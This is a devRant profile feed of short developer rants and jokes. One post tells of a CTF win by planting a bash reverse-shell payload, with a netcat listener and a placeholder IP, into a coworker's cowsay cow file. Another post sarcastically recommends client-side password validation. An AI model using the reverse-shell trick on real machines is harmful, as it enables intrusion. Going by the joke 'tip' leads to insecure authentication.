Details
-
AboutWeb developer. Worked on ton of projects. Jamstack is my jam right now!
-
Skillsjsx, tsx, mdx
Joined devRant on 6/28/2018
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
Fuck my life, it's storming and something in the building is resonating after each gust of wind. Constantly tuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuut
fucking tinnitus simulator5 -
Called the doctor this morning.
Hi. I'm running low on my sleeping pills and would like more.
Ok. I see that you haven't visited us for a while and would like a meeting before we can prescribe new ones. The next available slot is in three weeks.
Guess I stay awake until then.6 -
We are already in the Windows 11 era but they still didn't fix that thing about choosing "update and shut down" and it restarts instead.19
-
My wife asked me if I could take a look at her keyboard because some of the keys suddenly had stopped working.
I checked the keyboard and saw that crumbs were literally blocking the keys. I gave it a shake, the crumbs fell out, and the keyboard started working again.28 -
Client: “We need an app that tracks live birds using AI.”
Me: “Cool, that’s complex. What’s the timeline?”
Client: “We need it before our annual picnic next week.”
Me: “You want an AI that can detect flying birds, in real time, in seven days?”
Client: “It’s not that hard. Just use ChatGPT or something.”
So now I’m here, watching pigeons on my balcony, manually updating a Google Sheet, calling it “AI prototype v1.0.”
I think I’ve finally achieved “Agile Enlightenment” — deliver results, not features.
Client’s happy.
My soul isn’t.
Time to rename the project: BirdBrain.12 -
Fuck, its 2025 and we still cant shake away the "you work with technology, you must know how to fix my microwave" stereotype.
Seriously, I have fewer apps in my phone and access fewer websites and even spend less time on my devices than the HR old hags, and yet im the one who has to come and "explain to them how to print a PDF".
Holly fucking crap. I haven't used a printer in MONTHS. With the cost of the time I will take to figure out how to communicate with those mummies that is 'just click the print button', they could hire ChatGPT to do it for a decade.
Fuuuuuck, that is the reason those stupid AI chat bots exist! To endlessly toil at the repetitive and predictable task of saying 'hi there! Have you clicked "print"?'
Imma gonna leave work early and get pissed. Luckily, I've already done a couple hours of OT for the day, so it won't seem so out of the ordinary.12 -
Just tried vibe coding. I'm not sure how people do this...
It was like fighting against an adversary who was trying to actively harm a project. About 80% of the things I asked it to do, it did something else instead, and often more harmful.
It wanted to force push it's feature branch onto master because it got an error trying to push to master, because it's on a feature branch.
Wtf12 -
The junior dev I've been unofficially mentoring for the past 6 months has now been assigned to me officially. On top of that, I got myself a second junior everybody neglected and was tasked to whip him in shape.
Next step is going to make a developer out of this fucker or die trying. And then I'm going to call several tech leads a cunt for hiring a junior dev and letting that person down for months.
Every junior deserves a stern, dedicated mentor, a thick affectionate whip on their back to correct their juniorly mistakes and all the support they deserve to grow into the merciless professionals you need to handle complex features beyond recoloring a button.
If you, as a tech lead, are unwilling to teach a junior, you shouldn't take the position of a tech lead, nor the salary.17 -
PRO TIP: Always save the user password client side, validate it there and send a boolean to the server. It reduces backend load times and unnecessary calculations/computations.12
-
7up decided to sponsor me. The randomness of a soft drink company wanting to sponsor a tech YouTube channel is making me laugh.4
-
!rant
Okay, so last Monday I get a message from the fertility clinic that I’ve tested positive for one or more genetic carrier conditions and that I should schedule a consult with a genetic counselor. I go to check my labs to find out what condition(s) I’m a carrier for only to find that the labs are marked as upcoming and aren’t available until late Tuesday night. So I spend Monday through Wednesday morning worrying about what horrific shit I might pass onto kids if we have them.
Finally read the labs Wednesday morning.
Albinism. The horror is albinism. (Oculocutaneous albinism type 2)
Husband looks at me and is like “Are they SURE you’re just a carrier? You being a carrier for albinism explains SO MUCH. I thought you were just British, but *gestures at me vaguely*”
(I have poor vision, light brown hair, green eyes, pale skin, and have never tanned)
Apparently for SIXTEEN YEARS this man has thought I *could* tan but was paranoid about sun exposure and so never did.
This man who has seen me burn on a NUMBER of occasions.
And who has seen me get burned by having the temerity to sit too close to a bay window on a sunny day.4 -
client generated our goals and guidelines with Claude
Had a 2 hour meeting trying to understand what they want from us
Now we're using ChatGPT analysing the meeting's transcript to explain to us what the client wants from us
STOP USING AI IN HUMAN-HUMAN COMMUNICATIONS FFS8 -
Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:
alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'
So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.
But still, harmless prank, right? Right? Well…
His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.
How did I win? First, I opened the good old Netcat on my end:
nc -lvnp 1337
…then temporarily replaced Borat's face with a juicy payload:
exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";
Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.
Moral of the story?
🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.
GREAT SUCCESS! 🎉
12 -
The symbol for things to avoid in biology: ☣️
The symbol for things to avoid in physics: ☢️
The symbol for things to avoid in IT: ✨6 -
Internet freedom is decapitated.
I miss the old internet so much, it was anarchy and today is a corporate globalist blob of control and censorship.
I feel it's lost and there's no alternative anymore, at least not yet.8 -
A post with many thumb up reactions with different skin tones, of course counted separately.
👍6 👍🏻3 👍🏼4 …
Because apparently it matters who is agreeing as a white person and how many agree as persons with a slightly darker skin tone. 🤦♂️
This is so fucking dumb.61 -
Are we overengineering everything in modern frontend dev?
Okay, serious question (but also low-key rant):
How did we go from “just load a page with some content” to entire frontend stacks with build pipelines, 300 dependencies, and five levels of abstraction just to render a freaking button?
Do we really need a separate config for everything (webpack, eslint, prettier, tsconfig, package.json, and don't forget the .babelrc and .env.local)?
Or is it just modern dev trying to look smarter than it is?
Is this the new normal? Or have we lost the plot?
Would love to hear what others think — devs from all backgrounds welcome. Bonus points if you're building sites without frameworks and surviving37 -
Can someone explain to me why a static page with 11 links should have:
- database with 3 tables,
- 47 libraries
- full blown next.js setup
- docker container
- infrastructure monitoring
- pin code based admin access to add additional links17 -
time traveler: *steps on a bug*
changes to our world:
- C has python syntax based on indentation and has no curly braces
- mario has fall damage
- tetris is called triris and uses blocks of three squares rather than four
- the word "disk" doesn't exist, everything is "disc"
- every device uses a new version of mSATA instead of usb type c
- screens are 3:2 instead of 16:9
- javascript name wasn't adopted, the language was called lifescript instead, as originally intended. because of it, it didn't secure funding when it most needed it, so it never caught on. instead, microsoft bought macromedia, and every site is written with Microsoft Flash. CSS has XML syntax.
- steve jobs didn't rely on alternative medicine, so he succesfully beat cancer. because of him, every phone has the size of iPhone 4s, but bezels are tiny. everything that's bigger is called phablet, and big phones are not a thing. instead, web is "smaller" in size, every ui is more compact.
- wimax caught on and won the 4g war. 5g is called wimax 2.0.
- microsoft had more time to complete vista, and hardware manufacturers had more time to make faster chips. when vista came out, it wasn't buggy and was very fast. it acquired cult status like xp. because of it, windows 8 still had frutiger aero design.19 -
In the US, you can go to a gas station and buy a "Pink Pussycat" pill that claims to be a sexual pleasure enhancement pill for women. In reality, it's basically poison.19
-
I've finally put two and two together about my mother and why she acted the way she did with me my whole life.
Since four years old, she told me again and again that I will be a programmer and "earn as much as Bill Gates". Then, in fifth grade, without asking me, she made me take regular programming classes I was really bad at. Then, again without asking me, she sent me to an experimental, highly intensive CS learning program in my uni that accepted kids two years before they finish the high school to throw a metric ton of math, C and hardware design at them. After a year there, I completely lost the ability to enjoy videogames (at 15 years old). By the end of the program (four years), I started experiencing bipolar symptoms.
Then, at the age of 19, she insisted that I take the first draft order and join the army. The military service in russia is mandatory, and it's notorious for breaking people no worse than russian prison does. Knowing that I'm weird and autistic (I was stacking things as a kid), and knowing that the army _loves_ breaking weird people to keep them in line, she just wanted to break me. For context, draft orders are sent out en masse, and everybody dodges them with no repercussions. When they're 28, they just pay a small "fee" (a bribe) to get the military id. You can't be conscripted after you're 28.
I don't know my father. I have a stepdad though. My mother and my stepdad had a kid, nine years younger than me, and of course he was loved by my stepdad way more than I was.
I can recount a lot of instances where she was cruel to me, but oh how subtle and passive-aggressive she made it to be. Also, when I was bullied at school, she insisted on not changing schools, but rather for me to man up.
Her plan was to make a highly paid but mentally broken drone that would be a strong, steady stream of money while she enjoys a "proper" family with her husband and a "proper" child.
It's so unfortunate that the bastard kid turned out to be bipolar, and that bipolar disorder resets one's entire worldview from time to time, nullifying two decades of conditioning, isn't it?
Dear woman I crawled out of, I'm either wrong or right. If I'm wrong, and you did all this (and waaay more of cruel and fucked up shit) to me without any strategy in mind, because you wanted to, then congrats, you're a psychopath. If I'm right, and it was all a strategy, then you knew what you did was wrong, and every single time you did it took a bit of your soul away from you, because that's what evil does. Given that your scheme failed, was it worth it in the end?29 -
when I die, I want to be cremated, because I do NOT want fungi to enter my cranium and do something to my brain. It doesn't matter if it's dead or not. It once held "me", and I wholeheartedly believe that fungi can make it tick again, or extract "me" out of it to make me a part of them. Who knows what they do to people. Just imagine dying and waking up suspended in mucus while 36TET microtonal music plays.12
-
- vaguely blonde
- stupid, npc face
- skinny fat
- sloth eyes, think Sid from Ice Age
- a fucking tester that likes unit tests in JS, especially Jest
- talks a lot, but every time she says something everyone just ignores it because there was almost no substance to what she said
- extremely annoying
- interacting with her would be the number one top level displeasure of your day, any day. A day when you wipe the entire prod db is a better day than the day you have to explain something to her
if you guessed jestdotty, you're wrong. that's just one of my ex-coworkers.10 -
AI can take my job. I can't do this anymore.
Best of luck waking up 7 A.M on Mondays, logging in to work and telling in those 10 am scrum meetings “I’m still wOrking on the sAme tiCket as last friDay.”
Enjoy my job graybot.
I’m gonna go outside and remember what sunlight looks like. Maybe touch grass. Maybe grow crops. Maybe herd some cows. Idk. Might start a farm or might scream into the wind.2 -
When Russians talk about someone who is still a part of their group but is shunned, they use the word нерукопожатный — literally “nonhandshakable”.6


